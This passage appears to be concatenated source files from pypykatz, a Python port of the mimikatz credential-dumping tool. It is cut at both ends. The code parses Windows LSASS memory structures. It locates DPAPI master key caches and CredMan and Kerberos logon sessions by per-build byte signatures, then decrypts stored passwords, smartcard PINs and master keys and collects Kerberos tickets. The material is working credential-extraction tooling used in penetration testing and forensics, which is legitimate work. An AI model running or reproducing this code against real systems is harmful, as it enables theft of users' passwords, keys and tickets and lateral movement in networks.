145 res.encPassword =await PWSTR.load(reader)
146 res.unk0 = await ULONG.loadvalue(reader)
147 res.unk1 = await ULONG.loadvalue(reader)
148 res.unk2 = await PVOID.load(reader)
149 res.unk3 = await PVOID.load(reader)
150 res.UserName =await PWSTR.load(reader)
151 res.cbUserName = await ULONG.loadvalue(reader)
152 await reader.align()
153 res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader)
154 res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader)
155 res.type = await LSA_UNICODE_STRING.load(reader)
156 res.unk5 = await PVOID.load(reader)
157 res.server1 =await LSA_UNICODE_STRING.load(reader)
158 res.unk6 = await PVOID.load(reader)
159 res.unk7 = await PVOID.load(reader)
160 res.unk8 = await PVOID.load(reader)
161 res.unk9 = await PVOID.load(reader)
162 res.unk10 = await PVOID.load(reader)
163 res.user =await LSA_UNICODE_STRING.load(reader)
164 res.unk11 = await ULONG.loadvalue(reader)
165 await reader.align()
166 res.server2 =await LSA_UNICODE_STRING.load(reader)
167 return res
168
169 class PKIWI_CREDMAN_LIST_ENTRY_X86(POINTER):
170 def __init__(self):
171 super().__init__()
172
173 @staticmethod
174 async def load(reader):
175 p = PKIWI_CREDMAN_LIST_ENTRY_X86()
176 p.location = reader.tell()
177 p.value = await reader.read_uint()
178 p.finaltype = KIWI_CREDMAN_LIST_ENTRY_X86
179 return p
180
181 class KIWI_CREDMAN_LIST_ENTRY_X86:
182 def __init__(self):
183 self.cbEncPassword = None
184 self.encPassword = None
185 self.unk0 = None
186 self.unk1 = None
187 self.unk2 = None
188 self.unk3 = None
189 self.UserName = None
190 self.cbUserName = None
191 self.Flink = None
192 self.Blink = None
193 self.unk4 = None
194 self.type = None
195 self.unk5 = None
196 self.server1 = None
197 self.unk6 = None
198 self.unk7 = None
199 self.unk8 = None
200 self.unk9 = None
201 self.unk10 = None
202 self.user = None
203 self.unk11 = None
204 self.server2 = None
205
206 @staticmethod
207 async def load(reader):
208 res = KIWI_CREDMAN_LIST_ENTRY_X86()
209 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
210 #
211 await reader.move(reader.tell() - 32)
212 await reader.align() #not sure if it's needed here
213
214 #
215 res.cbEncPassword = await ULONG.loadvalue(reader)
216 await reader.align()
217 res.encPassword =await PWSTR.load(reader)
218 res.unk0 = await ULONG.loadvalue(reader)
219 res.unk1 = await ULONG.loadvalue(reader)
220 res.unk2 = await PVOID.load(reader)
221 res.unk3 = await PVOID.load(reader)
222 res.UserName =await PWSTR.load(reader)
223 res.cbUserName = await ULONG.loadvalue(reader)
224 await reader.align()
225 res.Flink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader)
226 res.Blink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader)
227 res.unk4 = await LIST_ENTRY.load(reader)
228 res.type =await LSA_UNICODE_STRING.load(reader)
229 res.unk5 = await PVOID.load(reader)
230 res.server1 =await LSA_UNICODE_STRING.load(reader)
231 res.unk6 = await PVOID.load(reader)
232 res.unk7 = await PVOID.load(reader)
233 res.unk8 = await PVOID.load(reader)
234 res.unk9 = await PVOID.load(reader)
235 res.unk10 = await PVOID.load(reader)
236 res.user =await LSA_UNICODE_STRING.load(reader)
237 res.unk11 = await ULONG.loadvalue(reader)
238 await reader.align()
239 res.server2 =await LSA_UNICODE_STRING.load(reader)
240 return res
241
242
243 class PKIWI_CREDMAN_LIST_ENTRY_5(POINTER):
244 def __init__(self):
245 super().__init__()
246
247 @staticmethod
248 async def load(reader):
249 p = PKIWI_CREDMAN_LIST_ENTRY_5()
250 p.location = reader.tell()
251 p.value = await reader.read_uint()
252 p.finaltype = KIWI_CREDMAN_LIST_ENTRY_5
253 return p
254
255 class KIWI_CREDMAN_LIST_ENTRY_5:
256 def __init__(self):
257 self.cbEncPassword = None
258 self.encPassword = None
259 self.unk0 = None
260 self.unk1 = None
261 self.unk2 = None
262 self.unk3 = None
263 self.UserName = None
264 self.cbUserName = None
265 self.Flink = None
266 self.Blink = None
267 self.server1 = None
268 self.unk6 = None
269 self.unk7 = None
270 self.user = None
271 self.unk8 = None
272 self.server2 = None
273
274 @staticmethod
275 async def load(reader):
276 res = KIWI_CREDMAN_LIST_ENTRY_5()
277 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
278 #
279 await reader.move(reader.tell() - 56)
280 await reader.align() #not sure if it's needed here
281 res.cbEncPassword = await ULONG.loadvalue(reader)
282 await reader.align()
283 res.encPassword = await PWSTR.load(reader)
284 res.unk0 = await ULONG.loadvalue(reader)
285 res.unk1 = await ULONG.loadvalue(reader)
286 res.unk2 = await PVOID.load(reader)
287 res.unk3 = await PVOID.load(reader)
288 res.UserName = await PWSTR.load(reader)
289 res.cbUserName = await ULONG.loadvalue(reader)
290 await reader.align()
291 res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader)
292 res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader)
293 res.server1 = await LSA_UNICODE_STRING.load(reader)
294 res.unk6 = await PVOID.load(reader)
295 res.unk7 = await PVOID.load(reader)
296 res.user = await LSA_UNICODE_STRING.load(reader)
297 res.unk8 = await ULONG.loadvalue(reader)
298 await reader.align()
299 res.server2 = LSA_UNICODE_STRING
300 return res
301
302 class PKIWI_CREDMAN_LIST_ENTRY_60(POINTER):
303 def __init__(self):
304 super().__init__()
305
306 @staticmethod
307 async def load(reader):
308 p = PKIWI_CREDMAN_LIST_ENTRY_60()
309 p.location = reader.tell()
310 p.value = await reader.read_uint()
311 p.finaltype = KIWI_CREDMAN_LIST_ENTRY_60
312 return p
313
314 class KIWI_CREDMAN_LIST_ENTRY_60:
315 def __init__(self):
316 self.cbEncPassword = None
317 self.encPassword = None
318 self.unk0 = None
319 self.unk1 = None
320 self.unk2 = None
321 self.unk3 = None
322 self.UserName = None
323 self.cbUserName = None
324 self.Flink = None
325 self.Blink = None
326 self.type = None
327 self.unk5 = None
328 self.server1 = None
329 self.unk6 = None
330 self.unk7 = None
331 self.unk8 = None
332 self.unk9 = None
333 self.unk10 = None
334 self.user = None
335 self.unk11 = None
336 self.server2 = None
337
338 @staticmethod
339 async def load(reader):
340 res = KIWI_CREDMAN_LIST_ENTRY_60()
341 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
342 #
343 await reader.move(reader.tell() - 56)
344 await reader.align() #not sure if it's needed here
345 #
346 #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell()))
347 #
348 res.cbEncPassword = await ULONG.loadvalue(reader)
349 await reader.align()
350 res.encPassword =await PWSTR.load(reader)
351 res.unk0 = await ULONG.loadvalue(reader)
352 res.unk1 = await ULONG.loadvalue(reader)
353 res.unk2 = await PVOID.load(reader)
354 res.unk3 = await PVOID.load(reader)
355 res.UserName = await PWSTR.load(reader)
356 res.cbUserName = await ULONG.loadvalue(reader)
357 await reader.align()
358 res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader)
359 res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader)
360 res.type =await LSA_UNICODE_STRING.load(reader)
361 res.unk5 = await PVOID.load(reader)
362 res.server1 =await LSA_UNICODE_STRING.load(reader)
363 res.unk6 = await PVOID.load(reader)
364 res.unk7 = await PVOID.load(reader)
365 res.unk8 = await PVOID.load(reader)
366 res.unk9 = await PVOID.load(reader)
367 res.unk10 = await PVOID.load(reader)
368 res.user =await LSA_UNICODE_STRING.load(reader)
369 res.unk11 = await ULONG.loadvalue(reader)
370 await reader.align()
371 res.server2 =await LSA_UNICODE_STRING.load(reader)
372 return res
373
374 class PKIWI_CREDMAN_LIST_ENTRY(POINTER):
375 def __init__(self):
376 super().__init__()
377
378 @staticmethod
379 async def load(reader):
380 p = PKIWI_CREDMAN_LIST_ENTRY()
381 p.location = reader.tell()
382 p.value = await reader.read_uint()
383 p.finaltype = KIWI_CREDMAN_LIST_ENTRY
384 return p
385
386 class KIWI_CREDMAN_LIST_ENTRY:
387 def __init__(self):
388 self.cbEncPassword = None
389 self.encPassword = None
390 self.unk0 = None
391 self.unk1 = None
392 self.unk2 = None
393 self.unk3 = None
394 self.UserName = None
395 self.cbUserName = None
396 self.Flink = None
397 self.Blink = None
398 self.unk4 = None
399 self.type = None
400 self.unk5 = None
401 self.server1 = None
402 self.unk6 = None
403 self.unk7 = None
404 self.unk8 = None
405 self.unk9 = None
406 self.unk10 = None
407 self.user = None
408 self.unk11 = None
409 self.server2 = None
410
411 @staticmethod
412 async def load(reader):
413 res = KIWI_CREDMAN_LIST_ENTRY()
414 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
415 await reader.move(reader.tell() - 56)
416 await reader.align() #not sure if it's needed here
417 res.cbEncPassword = await ULONG.loadvalue(reader)
418 await reader.align()
419 res.encPassword =await PWSTR.load(reader)
420 res.unk0 = await ULONG.loadvalue(reader)
421 res.unk1 = await ULONG.loadvalue(reader)
422 res.unk2 = await PVOID.load(reader)
423 res.unk3 = await PVOID.load(reader)
424 res.UserName =await PWSTR.load(reader)
425 res.cbUserName = await ULONG.loadvalue(reader)
426 await reader.align()
427 res.Flink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader)
428 res.Blink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader)
429 res.unk4 =await LIST_ENTRY.load(reader)
430 res.type =await LSA_UNICODE_STRING.load(reader)
431 res.unk5 = await PVOID.load(reader)
432 res.server1 =await LSA_UNICODE_STRING.load(reader)
433 res.unk6 = await PVOID.load(reader)
434 res.unk7 = await PVOID.load(reader)
435 res.unk8 = await PVOID.load(reader)
436 res.unk9 = await PVOID.load(reader)
437 res.unk10 = await PVOID.load(reader)
438 res.user = await LSA_UNICODE_STRING.load(reader)
439 res.unk11 = await ULONG.loadvalue(reader)
440 await reader.align()
441 res.server2 =await LSA_UNICODE_STRING.load(reader)
442 return res
443
444 class PKIWI_CREDMAN_LIST_STARTER(POINTER):
445 def __init__(self):
446 super().__init__()
447
448 @staticmethod
449 async def load(reader):
450 p = PKIWI_CREDMAN_LIST_STARTER()
451 p.location = reader.tell()
452 p.value = await reader.read_uint()
453 p.finaltype = KIWI_CREDMAN_LIST_STARTER
454 return p
455
456 class KIWI_CREDMAN_LIST_STARTER:
457 def __init__(self):
458 self.unk0 = None
459 self.start = None
460
461 @staticmethod
462 async def load(reader):
463 res = KIWI_CREDMAN_LIST_STARTER()
464 res.unk0 = await ULONG.load(reader)
465 await reader.align()
466 res.start = await PKIWI_CREDMAN_LIST_ENTRY.load(reader)
467 return res
468
469 class PKIWI_CREDMAN_SET_LIST_ENTRY(POINTER):
470 def __init__(self):
471 super().__init__()
472
473 @staticmethod
474 async def load(reader):
475 p = PKIWI_CREDMAN_SET_LIST_ENTRY()
476 p.location = reader.tell()
477 p.value = await reader.read_uint()
478 p.finaltype = KIWI_CREDMAN_SET_LIST_ENTRY
479 return p
480
481 class KIWI_CREDMAN_SET_LIST_ENTRY:
482 def __init__(self):
483 self.Flink = None
484 self.Blink = None
485 self.unk0 = None
486 self.list1 = None
487 self.list2 = None
488
489 @staticmethod
490 async def load(reader):
491 res = KIWI_CREDMAN_SET_LIST_ENTRY()
492 res.Flink = await PKIWI_CREDMAN_SET_LIST_ENTRY.load(reader)
493 res.Blink = await PKIWI_CREDMAN_SET_LIST_ENTRY.load(reader)
494 res.unk0 = await ULONG.loadvalue(reader)
495 await reader.align()
496 res.list1 = await PKIWI_CREDMAN_LIST_STARTER.load(reader)
497 res.list2 = await PKIWI_CREDMAN_LIST_STARTER.load(reader)
498 return res
499
500
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 import hashlib
8 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
9
10 class DpapiCredential:
11 def __init__(self):
12 self.credtype = 'dpapi'
13 self.luid = None
14 self.key_guid = None
15 self.masterkey = None
16 self.sha1_masterkey = None
17
18 def to_dict(self):
19 t = {}
20 t['credtype'] = self.credtype
21 t['key_guid'] = self.key_guid
22 t['masterkey'] = self.masterkey
23 t['sha1_masterkey'] = self.sha1_masterkey
24 t['luid'] = self.luid
25 return t
26
27 def to_json(self):
28 return json.dumps(self.to_dict())
29
30 def __str__(self):
31 t = '\t== DPAPI [%x]==\n' % self.luid
32 t += '\t\tluid %s\n' % self.luid
33 t += '\t\tkey_guid %s\n' % self.key_guid
34 t += '\t\tmasterkey %s\n' % self.masterkey
35 t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey
36 return t
37
38 class DpapiDecryptor(PackageDecryptor):
39 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
40 super().__init__('Dpapi', lsa_decryptor, sysinfo, reader)
41 self.decryptor_template = decryptor_template
42 self.credentials = []
43
44
45 async def find_first_entry(self, modulename):
46 position = await self.find_signature(modulename, self.decryptor_template.signature)
47 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
48 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
49 return ptr_entry, ptr_entry_loc
50
51 async def add_entry(self, dpapi_entry):
52
53 if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
54 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
55 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
56
57 c = DpapiCredential()
58 c.luid = dpapi_entry.LogonId
59 c.key_guid = dpapi_entry.KeyUid
60 c.masterkey = dec_masterkey.hex()
61 c.sha1_masterkey = sha_masterkey
62 self.credentials.append(c)
63
64 async def start(self):
65 for modulename in ['lsasrv.dll','dpapisrv.dll']:
66 try:
67 entry_ptr_value, entry_ptr_loc = await self.find_first_entry(modulename)
68 except Exception as e:
69 self.log('Failed to find structs! Reason: %s' % e)
70 continue
71 await self.reader.move(entry_ptr_loc)
72 entry_ptr = await self.decryptor_template.list_entry.load(self.reader)
73 await self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild
8 from pypykatz.alsadecryptor.win_datatypes import LUID, GUID, POINTER, FILETIME, ULONG
9 from pypykatz.alsadecryptor.package_commons import PackageTemplate
10
11 class DpapiTemplate(PackageTemplate):
12 def __init__(self):
13 super().__init__('Dpapi')
14 self.signature = None
15 self.first_entry_offset = None
16 self.list_entry = None
17
18 @staticmethod
19 def get_template(sysinfo):
20 template = DpapiTemplate()
21 template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY
22 template.log_template('list_entry', template.list_entry)
23
24 if sysinfo.architecture == KatzSystemArchitecture.X64:
25 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
26 template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85'
27 template.first_entry_offset = -4
28
29 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
30 template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84'
31 template.first_entry_offset = -4
32
33 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
34 template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05'
35 template.first_entry_offset = 7
36
37 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
38 template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85'
39 template.first_entry_offset = -4
40
41 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
42 template.signature = b'\x08\x48\x39\x48\x08\x0f\x85'
43 template.first_entry_offset = -10
44
45 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
46 template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08'
47 template.first_entry_offset = -7
48
49 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
50 template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08'
51 template.first_entry_offset = 11
52
53 else:
54 #currently this doesnt make sense, but keeping it here for future use
55 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
56
57
58 elif sysinfo.architecture == KatzSystemArchitecture.X86:
59 if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
60 template.signature = b'\x33\xc0\x40\xa3'
61 template.first_entry_offset = -4
62
63 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
64 template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84'
65 template.first_entry_offset = -16
66
67 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value:
68 template.signature = b'\x33\xc0\x40\xa3'
69 template.first_entry_offset = -4
70
71 else:
72 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
73
74
75 return template
76
77
78 class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER):
79 def __init__(self):
80 super().__init__()
81
82 @staticmethod
83 async def load(reader):
84 p = PKIWI_MASTERKEY_CACHE_ENTRY()
85 p.location = reader.tell()
86 p.value = await reader.read_uint()
87 p.finaltype = KIWI_MASTERKEY_CACHE_ENTRY
88 return p
89
90
91 class KIWI_MASTERKEY_CACHE_ENTRY:
92 def __init__(self):
93 self.Flink = None
94 self.Blink = None
95 self.LogonId = None
96 self.KeyUid = None
97 self.insertTime = None
98 self.keySize = None
99 self.key = None
100
101 @staticmethod
102 async def load(reader):
103 res = KIWI_MASTERKEY_CACHE_ENTRY()
104 res.Flink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader)
105 res.Blink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader)
106 res.LogonId = await LUID.loadvalue(reader)
107 res.KeyUid = await GUID.loadvalue(reader)
108 res.insertTime = await FILETIME.load(reader)
109 res.keySize = await ULONG.loadvalue(reader)
110 res.key = await reader.read(res.keySize)
111 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6
7
8 from pypykatz.alsadecryptor.kerberosticket import KerberosTicket, KerberosTicketType
9 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
10 from pypykatz.alsadecryptor.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE
11 from pypykatz.commons.common import WindowsMinBuild
12
13 class KerberosCredential:
14 def __init__(self):
15 self.credtype = 'kerberos'
16 self.username = None
17 self.password = None
18 self.domainname = None
19 self.luid = None
20 self.tickets = []
21 self.pin = None
22 self.cardinfo = None
23
24 def __str__(self):
25 t = '\t== Kerberos ==\n'
26 t += '\t\tUsername: %s\n' % self.username
27 t += '\t\tDomain: %s\n' % self.domainname
28 if self.password is not None:
29 t += '\t\tPassword: %s\n' % self.password
30 if self.pin is not None:
31 t += '\t\tPIN: %s\n' % self.pin
32 if self.cardinfo is not None:
33 t += '\t\tCARDINFO: \n'
34 t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
35 t += '\t\t\tReaderName: %s\n' % self.cardinfo['ReaderName']
36 t += '\t\t\tContainerName: %s\n' % self.cardinfo['ContainerName']
37 t += '\t\t\tCSPName: %s\n' % self.cardinfo['CSPName']
38
39 # TODO: check if users actually need this.
40 # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly.
41 # It is better to use the -k flag an export the tickets
42 #for ticket in self.tickets:
43 # t += '\t\t%s' % str(ticket).replace('\n','\n\t\t\t')[:-3]
44
45 return t
46
47 def to_dict(self):
48 t = {}
49 t['credtype'] = self.credtype
50 t['username'] = self.username
51 t['password'] = self.password
52 t['domainname'] = self.domainname
53 t['luid'] = self.luid
54 t['pin'] = self.pin
55 t['cardinfo'] = self.cardinfo
56 t['tickets'] = []
57 for ticket in self.tickets:
58 t['tickets'] = ticket.to_dict()
59
60 return t
61
62
63 class KerberosDecryptor(PackageDecryptor):
64 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
65 super().__init__('Kerberos', lsa_decryptor, sysinfo, reader)
66 self.decryptor_template = decryptor_template
67 self.credentials = []
68
69 self.current_ticket_type = None
70 self.current_cred = None
71
72 def find_first_entry(self):
73 position = self.find_signature('kerberos.dll',self.decryptor_template.signature)
74 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
75 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
76 return ptr_entry, ptr_entry_loc
77
78 def handle_ticket(self, kerberos_ticket):
79 try:
80 kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
81 self.current_cred.tickets.append(kt)
82 #print(str(kt))
83 except Exception as e:
84 raise e
85
86 def start(self):
87 try:
88 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
89 except Exception as e:
90 self.log('Failed to find structs! Reason: %s' % e)
91 return
92
93 if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
94 self.reader.move(entry_ptr_loc)
95 entry_ptr = PLIST_ENTRY(self.reader)
96 self.walk_list(entry_ptr, self.process_session_elist)
97 else:
98 result_ptr_list = []
99 self.reader.move(entry_ptr_value)
100 start_node = PRTL_AVL_TABLE(self.reader).read(self.reader)
101 self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
102
103 for ptr in result_ptr_list:
104 self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
105 self.reader.move(ptr)
106 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
107 self.process_session(kerberos_logon_session)
108
109 def process_session_elist(self, elist):
110 self.reader.move(elist.location)
111 self.reader.read_uint() #Flink do not remove this line!
112 self.reader.read_uint() #Blink do not remove this line!
113 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
114 self.process_session(kerberos_logon_session)
115
116 def process_session(self, kerberos_logon_session):
117 self.current_cred = KerberosCredential()
118 self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier
119
120 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
121 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
122 if self.current_cred.username.endswith('$') is True:
123 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
124 if self.current_cred.password is not None:
125 self.current_cred.password = self.current_cred.password.hex()
126 else:
127 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
128
129 if kerberos_logon_session.SmartcardInfos.value != 0:
130 csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
131 pin_enc = csp_info.PinCode.read_maxdata(self.reader)
132 self.current_cred.pin = self.decrypt_password(pin_enc)
133 if csp_info.CspDataLength != 0:
134 self.current_cred.cardinfo = csp_info.CspData.get_infos()
135
136 #### key list (still in session) this is not a linked list (thank god!)
137 if kerberos_logon_session.pKeyList.value != 0:
138 key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
139 #print(key_list.cbItem)
140 key_list.read(self.reader, self.decryptor_template.hash_password_struct)
141 for key in key_list.KeyEntries:
142 pass
143 ### GOOD
144 #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
145 #print(keydata_enc)
146 #keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
147 #print(keydata_enc.hex())
148 #input('KEY?')
149
150
151 #print(key.generic.Checksump.value)
152
153 #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size)
154 #if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_10_1507.value and key.generic.Size > LSAISO_DATA_BLOB.size:
155 # if key.generic.Size <= LSAISO_DATA_BLOB.size + (len("KerberosKey") - 1) + 32: #AES_256_KEY_LENGTH
156 # input('1')
157 # data_blob = key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB)
158 # data_blob.read(self.reader, key.generic.Size - LSAISO_DATA_BLOB.size)
159 #
160 # input('data blob end')
161 # """
162 # kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data);
163 # kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0);
164 # kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0);
165 # kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize);
166 # kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4);
167 # kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5);
168 # """
169 # else:
170 # input('2')
171 # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB)
172 # print('unkData1 : %s' % data_struct.unkData1.hex())
173 # print('unkData2 : %s' % data_struct.unkData2.hex())
174 # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB
175 #
176 #else:
177 #
178 # if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_VISTA.value:
179 # input('3')
180 # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB)
181 # print('unkData1 : %s' % data_struct.unkData1.hex())
182 # print('unkData2 : %s' % data_struct.unkData2.hex())
183 # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB
184 #
185 # else:
186 # input('4')
187 # #we need to decrypt as well!
188 # self.reader.move(key.generic.Checksump.value)
189 # enc_data = self.reader.read(key.generic.Size)
190 # print(hexdump(enc_data))
191 # dec_data = self.lsa_decryptor.decrypt(enc_data)
192 # print(hexdump(dec_data))
193 # t_reader = GenericReader(dec_data)
194 # data_struct = LSAISO_DATA_BLOB(t_reader)
195 # print('unkData1 : %s' % data_struct.unkData1.hex())
196 # print('unkData2 : %s' % data_struct.unkData2.hex())
197 # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB
198 #
199 #input()
200
201
202 if kerberos_logon_session.Tickets_1.Flink.value != 0 and \
203 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
204 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
205 self.current_ticket_type = KerberosTicketType.TGS
206 self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
207
208 if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
209 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
210 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
211 self.current_ticket_type = KerberosTicketType.CLIENT
212 self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
213
214 if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
215 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
216 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
217 self.current_ticket_type = KerberosTicketType.TGT
218 self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
219 self.current_ticket_type = None
220 self.credentials.append(self.current_cred)
221
222
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
7 from pypykatz.alsadecryptor.win_datatypes import POINTER, PVOID, ULONG, LIST_ENTRY, \
8 DWORD, LSA_UNICODE_STRING, PKERB_EXTERNAL_NAME, KIWI_GENERIC_PRIMARY_CREDENTIAL, \
9 LUID, PLSAISO_DATA_BLOB, ULONG64, FILETIME, PCWSTR, SIZE_T, BOOL
10 from pypykatz.alsadecryptor.package_commons import PackageTemplate
11
12 class KerberosTemplate(PackageTemplate):
13 def __init__(self, sysinfo):
14 super().__init__('Kerberos', sysinfo)
15 self.signature = None
16 self.first_entry_offset = None
17 self.kerberos_session_struct = None
18 self.kerberos_ticket_struct = None
19 self.keys_list_struct = None
20 self.hash_password_struct = None
21 self.csp_info_struct = None
22
23 @staticmethod
24 def get_template(sysinfo):
25 #input('%s %s' % (sysinfo.architecture,sysinfo.buildnumber))
26 template = KerberosTemplate(sysinfo)
27 if sysinfo.architecture == KatzSystemArchitecture.X64:
28 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
29 template.signature = b'\x48\x3b\xfe\x0f\x84'
30 template.first_entry_offset = -4
31 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51
32 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51
